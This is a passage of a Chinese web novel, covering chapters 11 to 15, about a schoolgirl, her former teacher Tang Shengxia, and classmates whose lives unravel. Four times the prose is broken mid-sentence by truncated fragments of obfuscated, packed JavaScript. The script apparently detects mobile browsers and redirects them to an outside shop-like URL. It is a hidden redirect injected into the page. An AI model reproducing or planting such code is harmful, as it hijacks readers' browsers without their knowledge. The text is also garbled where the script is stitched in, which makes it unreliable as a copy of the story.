我翻出一条深蓝色的连衣裙，套上一件黑色的小西装，偷偷换上妈妈的黑色高跟鞋，散下一直以来不变的马尾辫，头发已经垂到腰际了，涂了睫毛膏和老妈的深红色口红，带上大墨镜，提着妈妈黑色的手提袋，镜子里的我看上去成熟很多了吧！应该会像快三十的人了吧~ 可是，站在游乐园门口的唐盛夏，却穿着运动鞋，磨得发白的浅色牛仔裤和有着一个多啦A梦大图案的白色T恤，肩膀上还斜背着一个书包…… 他平时可没穿过卡通图案！ 而我，俨然是个快奔三外加浓妆艳抹的欧巴桑，而他似乎只是个二十出头的毛头小子…… 我俩尴尬的站在游乐园门口不知所措…… “妍妍……你……”唐盛夏看到这样的我哑口无言。“怎么收拾成这样……” “我……你不是说不要被发现老师和学生吗？”我支支吾吾的说。“你怎么还穿机器猫啊……” “唉，算了，走吧！”唐盛夏郁闷的说。 没穿过高跟鞋的我，走起来很不稳，只能抓着唐盛夏的手，保持平衡。一路做公交车过来的时候，每次刹车我都差点摔倒。 “你说你一米七的个子还穿什么高跟鞋啊！比身高啊。”唐盛夏打趣的说。 我挺直腰板，伸手比了比个子，笑着说：“可是还是比你矮半个头啊。” “玩什么？”唐盛夏笑着问。“今天全程听你指挥。” “过山车~” 中午，在游乐园的肯德基里吃东西。 “话说你额头的疤怎么办？”我问。那么英俊的脸上因为上次打架留下了一条十几厘米的疤痕，从前额一直延伸到太阳穴，看上去很吓人。 唐盛夏摸摸那条疤，满不在乎的说：“等头发长长了就能遮住了。” “现在应该有整容医院能搞定这个吧？”我吸着可乐问。 “无所谓。”唐盛夏的嘴角扬起一丝笑意，我想不通为什么。 “看上去挺恐怖的，而且……”我犹豫着要不要说这算毁容…… “头发能盖住，以后也会越来越浅的。无所谓啦！”唐盛夏边吃圣代边说，“你在室内就把墨镜摘了吧。” “不要。”我吐了吐舌头说。 唐盛夏伸手上来摘墨镜，我伸手去拦，还是被摘掉了，他表情僵硬的看着我的眼睛，又把墨镜还给我了。 “讨厌！”我重新戴上墨镜。 “哈哈哈哈哈哈哈哈……”唐盛夏失态的大笑起来。 因为初次化妆，实在没这个天赋，睫毛膏不小心涂到了眼皮上，想用水洗掉，但是越洗越黑，整个眼睛就变成熊猫眼了，早上时间又来不及，只好拿大墨镜把眼睛遮住…… 直到若干年后我才知道，卸妆是要用专用的卸妆水擦的，一般的水很难才能洗掉。 唐盛夏笑的连眼泪都出来了，他一边用手擦着眼泪，一边还是忍不住大笑。 我生气的嘟着嘴。 “啧啧，现在的帅哥都完蛋了，全被老女人糟蹋了……”我身后传来两个女人议论的声音。 “就是就是，那么帅，可惜了。”另一个女声附和到。 我回过头，生气的看着身后的两个人。 “哇！用那么红的口红！太没品位了！！！”一个短头发的女生惊呼。 “是啊！简直就是浓妆艳抹的老妖婆。”另一个女生压低声音说，但似乎又是故意让我听见。 …… “看样子，是我老牛是嫩草了。”我坏笑着对唐盛夏说，“哈哈，怎么办？” “那就尽情的来食吧！”唐盛夏露出整齐而雪白的牙齿笑了起来。 “看样子我变装很成功哈~”我得意的说。 “嗯嗯，非常成功，你嘴涂的就跟刚喝完鸡血似的恐怖。”唐盛夏说。 我摸了一下嘴，然后跑到厕所，站在镜子前一看，我自己都乐了。不知道什么时候蹭了嘴角，嘴角处有一坨口红，跟流血了似的。我拧开水龙头，摘掉墨镜，使劲的洗嘴和眼睛…… 废了好大劲，终于把“熊猫眼”和“血盆大口”给洗干净了。镜子里的自己，眼睛都被揉红了。感觉脸上少了一层油腻，服多了。 “谢妍？！”身后有人叫我。我回过头，袁圆刚从洗手间里出来！真是冤家路窄。 我赶紧戴上墨镜，没理她。跑出了厕所，要赶快带着唐盛夏离开，不然这次真是完蛋了，遇到谁不好，偏偏遇到袁圆。 慌忙走出厕所时，不小心撞到一个人，果然戴墨镜会影响视力范围。墨镜被撞到滑落在鼻子上，我迅速扶好墨镜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096346|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“谢妍？”这是怎么了？来趟游乐园是不是全世界认识我的人都来了！ 我抬头一看，是韩槊。 “谢妍，你跑什么啊？连招呼都不打。”袁圆从厕所里走出来，然后搂着韩槊的胳膊，说：“你也来游乐园玩啊，真是巧合。” 我看着韩槊，有点不可思议。那天莫名其妙的跑来跟我说什么要保护我，原来都是说说而已的话啊。不过无所谓，这是他的自由，他趁早投入别的女人怀抱，省得来纠缠我。 我冲他们笑笑，说：“是啊！考完试，休息休息。” “你一个人来的吗？”韩槊问，他似乎有点不情愿被袁圆拉着胳膊。 “对啊！一个人来玩才比较自由嘛。”绝对不能让他们发现唐盛夏。 “一个人？”袁圆狐疑的说，“那你怎么穿成这样？” “啊……嗯……就是不想被人认出来呗！”我扶了扶鼻子上的墨镜。“那个，你俩继续玩吧，我先走了。” 我向座位走去，回头看了一下，袁圆进厕所了，韩槊还在看我。 我赶紧拉起正在吃薯条的唐盛夏，冲出肯德基，真是心惊胆颤啊！万一被袁圆那个家伙看见，又是全校都皆知了，希望唐盛夏年轻的打扮没被韩槊认出来吧！不过无所谓啦！反正唐盛夏八月就要走了，也不会留在学校教书了。 “好险，差点被袁圆看见，那个鸡婆一对会说出去的。”我喘着气对唐盛夏说。穿高跟鞋跑步真累，崴了好几次脚，而且脚踝处也生疼。 “你看你的脚。” 我低下头，原来脚踝被高跟鞋带磨出血了，老妈的鞋到底不合适啊……之前只是觉得有点紧，但是没想到能磨出血来，以为最多会出泡…… 唐盛夏揽着我的腰，抱起我，向游乐园门口走去。 一路上，引来很多领着小孩的家长侧目，还对我们指指点点，但是唐盛夏毫不在乎，我搂着他的脖子，把脸藏在他的脖颈里，那个时候我的心跳的非常快，有努力克制，希望别被唐盛夏发现。 “回吗？”走到游乐园门口的时候，我问。 “嗯，回吧！”唐盛夏说。 的确没法再玩了，袁圆和韩槊在，我们只能回去了，我有点依依不舍，但是脚踝的疼痛提醒着我，这就是现实。下午，阳光狠狠的落在地上，是这一天中最耀眼的时刻，但是，我们却得离开，为什么总是因为别人的原因让我们不能沐浴在阳光下…… “不过说实话，你真不适合这幅打扮。”坐在唐盛夏的车里，他笑盈盈的说。 “反正变装成功，没有人认出我比你小。”我骄傲的说。 唐盛夏笑着，从车后座拿出一个袋子，说：“从明天开始，就是地狱了，这是这个假期要搞定的东西。” 我打开袋子，里面满是各种科目的辅导书，我崩溃。 “让我下车！你是恶魔！”我大叫着，但是车已经驶向了马路…… 12. 第十二章 离开 唐盛夏说过：分别是一种必然，但是分别之后等待着的不一定是重逢的喜悦。 当时，我不以为然。 八月初，已经在唐盛夏家补习整整一个月了，除了周末，我天天在他家从早上呆到傍晚。 唐盛夏是和他姥姥姥爷住在一起的，他的老爷似乎是一位非常有威望的人，经常会看到很多人提着大包小包的东西来看望他。但是神奇的是似乎他什么东西都不收，一定会要求别人全部带走。他的姥姥非常慈祥，总是在我们补习的时候送来各种各样的点心。唐盛夏的家非常的大，他的卧室是这个别墅的阁楼，里面放着他各种各样能体现他爱好的东西。挂在墙上的油画；扔在床上的吉他；立在柜子里的小提琴；角落里的黑色钢琴；甚至还有插在电视上的PS2机…… “你还真是‘多才多艺’啊。”我再次感叹着。 “我是什么都会，但是什么都不精通，拿来糊弄糊弄外行人到行，在你面前就不献丑了。”唐盛夏说。“不过，你也可以考虑什么都懂一些，这些东西在社交的时候很有帮助。” 我不以为然的耸耸肩膀。 我每天早晨9点到他家，开始上英语，中午在他家吃午饭，下午补习数学、化学。其实我的主要弱项还是在英语，唐盛夏已经恨不得用英语给我上其他课程了。不知道为什么我一见到那些字母就头疼，但是，治疗头疼最好的药物就是能每天看着他~ 一般下午上完课后，我会在他家玩会儿PS2游戏，然后回家，一个月来的努力，我们已经快打穿出《零红蝶》的完美结局了。 唐盛夏的姥姥做饭手艺非常好，每天的花样都不一样，每次在饭桌上时，她总会泪眼婆娑的感慨：“盛夏学乖了，老头子，盛夏真的学乖了。” 他姥爷也总会肯定的说：“好小子，有长进，以后少出去乱搞，好好在家带带学生挺好，挺好！看样子让你去岚城五中锻炼锻炼是对的！” 此时的唐盛夏总是默默吃饭，什么也不说。 八月中旬，我们把所有的习题都做完了，唐盛夏倒在床上感慨着任务完成。但这也就意味着他离开的日子临近了。我很想任性的说出不希望他离开的话，但是，他早就“未卜先知”的对我说过，“当依赖成为习惯，那么也是你即将面对毁灭的时刻，一时的懈怠，换来的始终是更大的灾难……”其实，从那个时候开始，他就已经在为现在做出铺垫了吧……而且，就算我说出了不希望他离开的话，又能怎样？他会为我留下来吗？答案自然是否定的。其实也就是在那个时候我开始思索他为什么会对我这么无原则的好，排列起原因的话，第一个否定掉的就是所谓的“爱情”。因为他看我的眼神，和韩槊的完全不同，瞳孔里流露更多的是一种责任和义务。那么，真正的原因究竟是什么呢？好吧，算作是我一厢情愿的暗恋着他，一厢情愿的认为他的体恤源自于“爱情”，一厢情愿的将他的关爱看做是“爱情”…… 但是，现实绝非如此。 那个时候我的才意识到，我所知道的唐盛夏太少了，只知道他比我大十岁，但是不知道他具体的生日是哪天；只知道他在岚城大学学的是英语系，但是不知道他的工作到底是什么；只知道他有很多的女朋友，但是不知道他是否有固定的女朋友；只知道他姥姥姥爷家，但是不知道他爸爸妈妈家，也就是他自己的家在哪…… 我知道的太少了，还是他从来没打算告诉过我？他说过，“知道了你底细的人，就是知道了你底线的人，也就是你该离开的时候。”那么他不让我知道他的底细，也就是他还没有决定要离开我？如果是这样，我希望我永远都不知道他的过去…… 八月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096347|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中旬，随着我们开学，唐盛夏也只身提着旅行包离开了岚城，前往我们约定的地方——北京。我很想去送他，可是他不允许，临走前他告诉我，刘老师猥亵过的女生没有一个愿意对他提出诉讼，原因显而易见，但是，警方尽管无法对他提出“□□未成年人”的诉讼，但是还是以“传播□□色情信息罪”判了两年的刑。 “盛夏，我会不会再也见不到你了？”最后一天补课的时候，我问他。 “不会，”盛夏还是习惯性的揉着我的头发，温柔的说：“等你考到北京，我们会再见面的！” “你保证？”我问。 “相信我！”唐盛夏微笑着说。 “相信我！”这似乎是我认识唐盛夏四个月以来他对我说过最多的话。相信他！是的，从我们相遇的那个春天开始，我就莫名的相信他，就算他说世界末日即将来临，我都会深信不疑，因为他总能给我安全感。 高二开学，重新回到学校的时候，我已经不再害怕了，我的信念只有一个，就是一定要去那个辉煌如日中天的城市——北京。 那个时候，我暗暗下定决心：唐盛夏，等到两年以后，我们再相遇的时候，我一定要你看到我的蜕变，我不再是那个被欺负以后只会默不作声的小女孩，不再是那个遇到危险只会依赖你的笨蛋，更不会再是不计后果做事的白痴，我一定努力做到成为一个与你相匹配的人…… 但是，神啊，请你一定要让他等我，等我长大…… 其实，现在想起来，我们关系也就结束在那个盛夏的日子里了，神的恩惠从那一刻起就已经终结，我已经离开了地狱，摆脱了恶魔的束缚。所以，神将他的恩惠抽离，去送给那些更需要的人。如果在那之后我就明白了这个道理的话，也不会执着到贪婪的地步，也许，结局就会更好一些吧！ 13. 第十三章 告白 唐盛夏说过：我从来没珍视过自己所拥有的，却总在计较那些我未曾拥有的，我以为通过掠夺能使自己更加富饶，但是，心灵却在一天天贫瘠…… 当时，我不以为然。 高二，我进了文科班，袁圆去了理科班。本以为我们的战争就此画上休止符，而我的生活也能步入正轨，但是平静海面下的波澜壮阔我从未察觉。 自从上次李韵逼问以后，我再也没有和她说过话，尽管我不知道唐盛夏究竟跟她说了什么，但是从那以后，她就是一副什么事情都没发生过的样子，我乐得其所，也就慢慢退出了她的“朋友圈子”。 我的生活回归了平静，平静的甚至毫无起伏。直到十二月中旬的那天下午，韩槊的到来，让一切平静，重新被打破…… 星期三的下午，我和包小北在校门口画着黑板画。我们在为沾满墨水的黑板擦，因为寒冷粘在黑板上拿不下来大笑不已。那个时候，韩槊穿着讲究的捧着一束玫瑰出现在我们身后。 他看见我的时候，眼神有一点点惊讶，又有一种我看不出的情绪。 那个下午，他一身黑色，黑色的皮靴，黑色的牛仔裤，黑色的外套，甚至之前的浅褐色头发也染回了黑色，身上除了手里的那束鲜红的玫瑰以外，全部是黑色。 恍惚间，我好像看到了唐盛夏…… 他只是深深的看了我一眼，然后就跑到教学楼下，大喊袁圆的名字。那样子，像极了偶像剧…… 然后场景就转到了教学楼下，袁圆满是眼泪的冲出来，两个人紧紧地抱在了一起…… 哼，俗套之极…… 但是不得不承认，对于女生，这一套的确很受用。 那个时候我还不知道，原来这就是开端，一个让袁圆从此踏入地狱的开始，而那个时候完全不知情的我，在全校同学撒下纸飞机起哄的时候，冷眼看着韩槊，鄙视着他的信口雌黄，藐视着他的所作所为…… 甚至，看着袁圆满脸幸福的捧着鲜花，拉着韩槊的手，被他带离学校时，嘴角还在冷笑，不知道那个时候哪儿来的莫名的优越感，打从心底嘲笑着他们的无知…… 直到高二快结束的时候，我还在一门心思学习的时候，袁圆被学校勒令退学了。原因是生活作风不良，但是同学们私底下议论说，是因为她怀孕了，而且肚子大到已经无法堕胎的地步。当我得知这个事情时，脑海里第一个浮现出的人，是韩槊！ 无所谓，过该！ 元旦的那天，班里举行联欢晚会，因为偶然和范雅珍坐在一起，就顺其自然地聊起了韩槊的事情。 除了我们之前通电话的时候，韩槊说过的那些他的过去以外，从范雅珍那里我还知道了一些意外的事情。 原来韩槊是私生子，所以他的母亲才抛弃他去重新组建家庭。范雅珍和韩槊是发小，两家人曾经是邻居，分开后，因为关系很好一直都在保持联系。聊到韩槊的近况时，范雅珍说，韩槊3个月前旷课太多，已经被学校开除了…… “我认识韩槊这么多年，第一次看到他被一个女人迷成这样！他就是因为老带袁圆出去玩，旷课旷的太猖狂才被开除的，真不知道他是怎么想的！”范雅珍郁闷的说：“而且，最神奇的是，以前我们出去玩的时候他也见过袁圆，那会他从来没表现出喜欢她的意思，当我知道他们两个在交往的时候都高二开学了！你知道，韩槊很帅，袁圆以前跟我说过，她很喜欢韩槊，但是韩槊身边从来不缺的倒贴的女生，从来没屌过她，奇怪了两个人就莫名其妙在一起了……” “男生嘛，换女朋友比换衣服都勤快，管他呢！”我一副无所谓的样子说。 “韩槊不是那种人！”范雅珍认真的说：“以前我问过韩槊，喜欢什么类型的女生，韩槊说，他不可能喜欢别人超过喜欢自己。所以我觉得这样的韩槊，都不像是我认识的那个洒脱的韩槊了。” “人都是会变的。”难道……我心里划过了一个念头。 “或许吧！或许韩槊真的遇见自己最喜欢的人了，祝福他吧！”范雅珍沮丧的说：“哎？我这么说你会不会生气啊？你不是很讨厌袁圆吗？” “她都被退学了，我还跟她计较什么啊。” “也是……”范雅珍点点头。 我想，现在看来，我永远也忘不了2005年的1月7日那一天了。那是我最后一次见到韩槊，那个星期五，我依旧是背着沉重的书包回家，不同的是，这一年来，我的书包里装的不再是各种换洗的衣服，而是参考书。 韩槊还是像曾经那样穿着白色的衣服靠在墙壁上…… “妍妍……”从他口中叫出我的名字，和从唐盛夏口中叫出的名字，感觉总是不同，但是，似乎已经不再那么排斥了。 “妍妍，我是不是已经足够强大了？”韩槊满脸期待的问。 “你这样做真的很傻，你毁了她的人生我不管，可是你自己的人生的？你的未来呢？”我很努力的想做出生气的样子来说这句话，可是连我自己听上去，都像是乞求。 韩槊露出他白色的牙齿，灿烂的笑了，“果然聪明如你，我做的你都了解。” “韩槊，我不值得你为了我毁掉自己的未来。”在女生的世界观里，知道了自己并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096348|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不喜欢的男生喜欢自己，心底会油然升起一股莫名的厌恶感。但是，现在的我对韩槊已经没有这种感觉了…… 韩槊走过来，轻轻的抱住我，温柔的说：“值不值得我自己会判断，我说过，我要强大到能保护你，只要是伤害过你的人，我都帮你毁了，只要是对你不利的人，我都会帮你清除，只要你不要讨厌我，就足够了。” “韩槊，你这又是何必呢？你又不缺爱………”我有点哽咽了。 “不一样，妍妍。”韩槊继续说：“我到现在都记得那天晚上你说话的表情，那个时候我不知道你究竟发生了什么事，但是一定很严重，我千方百计的让李韵告诉我在你身上发生过什么事，她告诉我，是袁圆欺负你。如果是单纯的欺负，我想你是不会那么容易击垮的。可是你谈到那个伤痛时，似乎已经恨之入骨。” 看样子唐盛夏跟李韵聊过之后，她真的保守秘密了，但是也不至于把事情都推在袁圆身上吧…… “韩槊，事情不是你想象的那样……”我想解释，可是后面的话还是说不出口，否定了袁圆，他肯定会继续追问的。与其那样，不如将错就错吧！现在就算告诉韩槊实情，除了让他后悔，没有别的意义。 “妍妍，我知道他已经走了，我不奢望你会忘掉他，但是请你给我机会好吗？” 这一次，我真的被感动了…… 可是，这一年多，我从来都没有忘记过唐盛夏。鞭策我前进的动力，以及我如此刻苦的学习，为的都是和唐盛夏那个“北京见！”的约定。为了这个约定，我从来都没有分神去想其他的事情，如果不是范雅珍偶然告诉我韩槊的变化，我是怎样都发现不了他所做的一切都是为了我。 “妍妍，你别哭啊……”韩槊担心的为我擦掉眼泪，“我不用你现在就回答我，慢慢来，我可以等，正好我也要去外地打工，所以，你有足够的时间考虑。别哭，妍妍，你一哭，我就不知道该怎么办了……” “你要去外地？”我问。 “嗯……有些事情，反正现在学也上不了了，所以打算去南方打拼打拼。”韩槊若有所思的说：“过段时间可能就会回来吧！等我到那边以后，会告诉你我新的手机号码的。” 我点点头。 “那我走了。” “路上小心。” “对了，别跟别人说我去了哪里，包括范雅珍。” “为什么？” “你那么聪明，过几天就知道了，妍妍，再见！” “再见！” “我好喜欢你。” “……”可是我好喜欢唐盛夏。 14. 第十四章 枯萎 唐盛夏说过：期望越大，失望也就越大，但是很多时候，我们知道了这个规律，却始终印证着这句话。 当时，我不以为然。 二月份，期末考完后的班会上，班主任强调了品行不端和校风整顿的事情，看样子是针对袁圆的事件杀鸡给猴看的。班主任说，袁圆是因为交友不慎，所以被毁了前途，现在那个毁了袁圆的社会不良青年已经不知所踪，而袁圆怀孕五个月才堕胎，对身体的伤害非常大，现在已经在家休养了3个多月，还是没缓过来。这给袁圆全家都带来了非常惨痛的记忆…… 听完老师说的话，我不自主的看了范雅珍一眼，她恐怕跟我一样，一身冷汗。原来韩槊临走前说的就是这个事情，他是早就计划好的…… 班会结束以后，范雅珍悄悄跟我说，袁圆的父母来找过她，问她韩槊的下落。但是她也不知道韩槊去了哪里，但是还是纠缠她不放。 “真不知道韩槊怎么想的，事情弄的这么大，当初爱的死去活来的时候怎么没想到这一步呢？”范雅珍摇着头，“真不知道韩槊是不是真的爱袁圆，以他的性格不应该会逃跑啊……” 我装作若无其事的敷衍过范雅珍，可是心里某个地方隐隐作痛。如果当初我没有说那些话想逼走他，他应该也不会走到这一步吧！可是一切都晚了…… 真不知道李韵究竟跟他说了我和袁圆有多糟糕的关系，让他会想毁了她。我开不了口去问李韵，因为问题的根源还是在于我，不过，恐怕这个时候的李韵应该也后悔说了那些话吧！ 四月 离高考还有两个月，我过着抱着参考书游走在学校、家和补习班的生活，和唐盛夏的约定是我在这段痛苦的生活里唯一的信念。日历一页页的翻过，距离和他约定的时间越来越近了，不知道他在这两年里过着怎样的生活。但是，不久以后我就能见到他了！和他相遇的那四个月里，是我人生最明媚的日子，即使是岚城灰色的天空也阻碍不了我的好心情，马上，我就能告别这座灰色的城市了！ 那天周末的早晨，我还是照常抱着参考书奔走在这三点一线的世界，当我走进一家卖豆浆油条的早餐店时…… “谢妍！”围着白色围裙的袁圆面容憔悴的出现在我面前。 “袁圆！？”我惊呼。“你怎么在这里？” “打工……” “你不上学了？” “……”袁圆红着眼睛低下了头，“我家本来就没多少钱，你知道那个……那个事情……所以……看病花了很多钱，我家欠了好多债，所以就再没上学，出来打工了。” 以前听李韵说过，袁圆家好像挺困难的，所以才会跟范雅珍做朋友，因为范雅珍为人很阔绰。 “生病了？”我明知故问。“怎么回事？” 袁圆看着我，咬着嘴唇，一副想说又不敢说的样子。 我见她不说，就点了油条和豆浆坐下来吃。不说也无所谓，赶紧吃晚饭还要去补习班呢。而且看到她这副落魄的样子，也就不想再难为她了。 “韩槊，他走了……”袁圆的眼泪决堤了似的迸发而出，“那天他捧着玫瑰花来的时候，就是我告诉他想把孩子打掉，他不同意，来哄我的……当我得知怀孕的时候，就问他要钱去堕胎，我不想被孩子拖累，我还想上学，可是他坚持要我生下孩子，他说他会负责的，不让我打掉……后来，后来，他说他要为我们的未来闯出一片天，然后娶我……然后就消失了，我等了他好久，他也不联系我……我……我的肚子一天天的变大……我不知错所，只能告诉我爸妈，我爸妈坚持让我堕胎，我没了主意，可是……他再也没回来……”袁圆不住的擦着眼泪。“后来孩子堕掉了，但是不知道为什么做手术的时候出了好多血，我身体本来就不好，经这一折腾，就越来越差了……贫血、痢疾，虽然得的都不是什么大病，可是因为身体太虚弱，一直都在床上躺着。家里借了好多钱，我爸妈本来就下岗了，根本无力换钱，出院以后，我就休学，出来打工了……” “现在他还没联系你吗？”我明知故问，但是此时真不知道还能说什么了。 “谢妍，我真的好嫉妒你，凭什么你拥有那么多，我却一无所有，当我以为我比你幸福的时候，背后却是这么大的创伤！那天在游乐园里，其实我看到你和唐老师在一起了，只是我觉得，既然我的幸福已经到来，我就不要再多管闲事，”袁圆的嘴角苦涩的上扬了一下，“那时，我还幸灾乐祸等着看你的悲剧，可是……”袁圆擦掉了眼泪，沉默了一会，平静下来，继续说，“这可能就是报应吧！做了坏事，早晚都会遭报应的，我也不过只是遭到了应有的报应。” “你别这么说。”我安慰着，自己都觉得假心假意。 “我这辈子也许就这样了吧！我算是毁在韩槊手里了，也怪我太傻，不该被他的浪漫攻势骗上床……”袁圆把一撮捶在额前的碎发拢到耳后，继续说：“你呢？跟唐老师怎么样了？他不在咱们学校教书以后你们交往起来就没那么大阻碍了吧！” 被她这样形容，我的心里甜甜的，其实就算是我一厢情愿，但是也觉得这是一种美好，但现实并不会这么美好…… “偶尔也会有发短信，他让我好好学习，等我考到北京上学，我们就能见面了。”想到这里，我的嘴角都不禁上扬。 “喔，那挺好！”袁圆看着我，满眼真诚： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没见到袁圆之前，只是从别人的话语里听到这些关于她的事情，并没有什么切身的感受，但是当她真真正正的站在我面前的时候，触手可及她的悲伤和她的脆弱时，回想起曾经的口舌之争，又算什么呢？无论是在班里的公然挑衅，或者是范雅珍生日聚会上的难看，再或是怂恿范雅珍让韩槊来揍我……比起她的现在，真的什么都不是了。 人有时候回过头再去看当初恨的牙痒痒的人，才发觉真的是当局者迷，幼稚的不堪一击…… 我不禁想起了唐盛夏对我说过的一句话： “痛恨一个人的时候，也是在痛恨自己。因为自己给了那个人伤害你的机会。” 希望我们都能彼此放过自己吧…… 见到了这样的袁圆，也坚定了我要离开岚城的决心，这里有我的各种不堪，这里保存着我的各种丑陋，离开这里，去北京，然后和盛夏，一起幸福的摆脱过去！ 六月，我的幸福，近在咫尺了…… 15. 第十五章 单恋 唐盛夏说过：永远不要为任何人放弃你的自尊，如果连乞求都无法达到目的，就潇洒的转身离开。 当时，我不以为然。 2006年初夏 六月末，当我拿到了成绩单开始着手报志愿的时候，三个志愿，全部选择了北京，如果一切顺利，八月的盛夏，我就能见到唐盛夏了！ 七月中旬，我拿到了北京C大的录取通知书，如坐针毡的一个多月过去以后，我开始准备着开学后要用的东西，唐盛夏发来短信祝贺我，说在北京摆好酒席等着我，我已经迫不及待的想飞到北京去了！我跟爸妈约好，我一个人去北京报道，并不是我想锻炼自己的自立能力，我只是想有一个能最快见到唐盛夏的借口——让他接我！ 在我已经准备起程要离开这个灰色城市的时候，李韵找到了我，我们约在肯德基见面，明媚的阳光笼罩着我们二人，但是听完她吐露出的那个埋藏了两年的秘密，我却异常寒冷…… “妍妍，我有些事情想告诉你。”这是李韵的开场白，一副下定了决心要说出来的样子，事情肯定是关于韩槊的。 “什么事？”自从被李韵发现了刘老师的事情以后，我就总想躲着她。唐盛夏说过的话总是在一点一点实现，她是知道我底细的人，在她面前我就是赤裸的，面对她真是一种想遮挡都无济于事的感觉。每每想起这些，我总是自嘲的笑笑。 “关于韩槊。” “你是要说他为什么要对袁圆做的那些事？”我问。 “你知道吗？韩槊喜欢你。”李韵绕开了我的提问，单刀直入。 “……”我看着她不知道怎么回答这个问题。 “你不回答也无所谓，我告诉你，韩槊喜欢你！”李韵看着我，严肃的眼神似乎想看透我的灵魂，“高一第二学期的时候，反正是在刘老师被抓的前几天，韩槊不知道从哪里弄到了我家的地址，突然来我家找我，问我你的事情。后来我才知道，他是一路跟踪我，找到我家的……”李韵叹了口气，继续说：“其实如果不是他来找我，问了那些问题，我真的没察觉到我们根本不是朋友，或者说，是你从来没有把我当做朋友。” “李韵，不是这样的，朋友之间也是需要隐私的。”我辩解。 “无所谓你怎么说吧，反正都过去这么长时间了。我知道你要去北京了，所以才想把这些事都说出来的，是不是朋友也无所谓了，反正以后都要分开。”李韵看着窗外，继续说：“韩槊找到我，问我，你是不是出了什么事？是不是有人欺负你？是不是你遇到了什么危险？还是你过去经历过什么事情。你知道吗？我一直以为我们是朋友，可是当他问出这些问题的时候，我发现自己一个都回答不了，当时那种心情很难受。我以为我是这个学校跟你最亲近的人。高一，我一踏进学校，就从开学典礼上就注意到你了，高高的个子，窈窕的身影，自信的神态，在台上代表新一届的学生发言，任何一个见过你的人都能看出你和我们不是一个层次的人。后来当我得知我们在同一个班级，高兴极了，那时就下定决心想跟你做朋友。后来我真的如愿以偿，并且还成为了你的同桌，我们除了晚上睡觉不在一个宿舍，几乎每时每刻都在一起，可是韩槊，一个认识你时间并不长的人都发现你出了事，我却什么都不知道，是我太迟钝，还是你伪装的太好，我不知道，反正那是一种挫败感，但我也是在那个时候觉悟的，或许你并没有把我当做朋友来看。如果说，谁欺负你，我只能想到是袁圆和范雅珍。但是韩槊跑来询问我，你出了什么事的时候，我的直觉告诉我并不是我知道的那么简单，是因为袁圆和范雅珍你才认识韩槊，他应该知道的更清楚，也因为，她们欺负你的时候，你从来都没在意过，你总是一副‘不跟她们计较’的样子。你出事了，我自以为是你身边最亲近的人却什么都不知道……”李韵顿了顿，低头吸了口可乐。 “所以后来我就答应韩槊帮忙问问你的情况，说是答应他，其实更想知道你出了什么事的人是我。那天我们在房顶，我步步追问的那些问题，是我想了一个晚上才问的，唐老师为什么那么着急的找你，你为什么会张望刘老师的宿舍，当我妈把报纸拿给我的时候，我吃惊的才把所有的事情串联起来。”李韵小心翼翼的说。 我尴尬的笑了笑，示意她可以继续说下去。 “可是你为什么从来都不告诉我呢？”李韵伤感的说。 “这种事情换作是你，你说的出口吗？”我反问。 李韵沉默了一会，继续说：“后来唐老师找到我，跟我谈起了这个事，他说，如果我把你当做朋友，希望你以后能幸福的话，就装作什么都不知道，因为事关你的名誉。唐老师一直以来都在帮你把这个事情压下去，他当时说的话我很感动，他说，‘也许正是妍妍把你当做朋友，所以才不忍心告诉你这些事情，因为告诉你，你会做出冲动的事情，万一刘老师在察觉，说不定也会把你拖下水，这是妍妍出于对你的保护。’当时我感动的都哭了，你一个人抗下了这么多的事情，每天在我面前还要强颜欢笑，真的是够辛苦了。可是后来我才知道，根本不是这样，我在你心里从来都没有分量。我本以为如果我装着不知道，你还会跟我一如既往的做朋友，可是从那天之后，你就开始有意的躲着我。当然，尽管你不把我当做朋友，但是我并没有把这件事告诉韩槊，可是韩槊对你真的是够执着，一直纠缠我，每周五都在我家楼下等我放学，然后不停的追问，后来被逼的没办法了，我也只说袁圆一直在学校里欺负你，欺负到你快崩溃。虽然是事实，但是被我夸大了许多。然后韩槊就再也不来找我了……”李韵每次说到韩槊的时候都有些失落。 “所以你一直都知道韩槊是要毁了袁圆的？”我问。 